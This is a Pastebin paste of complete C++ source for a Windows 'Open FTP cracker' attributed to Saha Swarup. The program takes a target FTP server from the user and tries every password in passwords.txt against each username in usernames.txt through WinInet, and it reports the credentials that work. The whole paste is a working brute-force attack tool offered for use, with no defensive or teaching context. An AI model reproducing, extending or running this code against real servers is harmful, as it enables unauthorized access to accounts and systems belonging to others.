Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <windows.h>
- #include <wininet.h>
- #include <iostream>
- #include <string>
- #include <fstream>
- #pragma comment(lib, "Wininet")
- int main()
- {
- HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
- SetConsoleTitle("Open FTP cracker coded by Saha Swarup");
- std::cout<<"Open FTP cracker beta 2.0 coded by Saha Swarup\n_________________________________________________\n"<<std::endl;
- std::string usernames = "", passwords = "", target = "", temp = "";
- //init wininet functions
- HINTERNET hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
- if(!hInternet)
- {
- std::cout<<"Error starting WinInet, please close this application"<<std::endl;
- std::cin>>temp;
- return -1;
- }
- //get files
- std::ifstream user_reader("usernames.txt");
- std::ifstream pass_reader("passwords.txt");
- //file error handling
- if((!user_reader)||(!pass_reader))
- {
- std::cout<<"Error opening one of the input files "<<std::endl;
- std::cout<<"ensure \"usernames.txt\" and \"passwords.txt\" are in the same"<<std::endl;
- std::cout<<"directory as this application, please close this application\n"<<std::endl;
- std::cin>>temp;
- return -1;
- }
- //get target server
- std::cout<<"What is the target FTP server?:"<<std::endl;
- std::cin>>target;
- //get first username to be used in loop
- getline(user_reader,usernames);
- //go through all passwords on one username then continue to next username until list has finished
- int attempts = 0;
- HINTERNET hFtpSession = NULL;
- while(!user_reader.eof())
- {
- SetConsoleTextAttribute(hConsole, 7);
- attempts++;
- getline(pass_reader,passwords);
- std::cout<<"Trying username "+usernames+" with password "+passwords+" attempts "<<attempts<<" ";
- //Connect to FTP server with provided credentials
- hFtpSession = InternetConnect(hInternet,target.c_str(),INTERNET_DEFAULT_FTP_PORT,usernames.c_str(),passwords.c_str(), INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0);
- //is password cracked?
- if(!hFtpSession)
- {
- SetConsoleTextAttribute(hConsole, 12);
- std::cout<<"= FAIL"<<std::endl;
- InternetCloseHandle(hFtpSession);
- }
- else if(hFtpSession)
- {
- SetConsoleTextAttribute(hConsole, 10);
- std::cout<<"\n\nCracked "+target+"\nThe username is: \""+usernames+"\"\nPassword is: \""+passwords+"\""<<std::endl;
- InternetCloseHandle(hFtpSession);
- break;
- }
- if(pass_reader.eof())
- {
- //reset pass file
- pass_reader.clear();
- pass_reader.seekg(0,std::ios::beg);
- //get next username
- getline(user_reader,usernames);
- }
- }
- InternetCloseHandle(hInternet);
- pass_reader.close();
- user_reader.close();
- std::cout<<"\nFinished, please close this application"<<std::endl;
- std::cin>>temp;
- return 0;
- }
Add Comment
Please, Sign In to add comment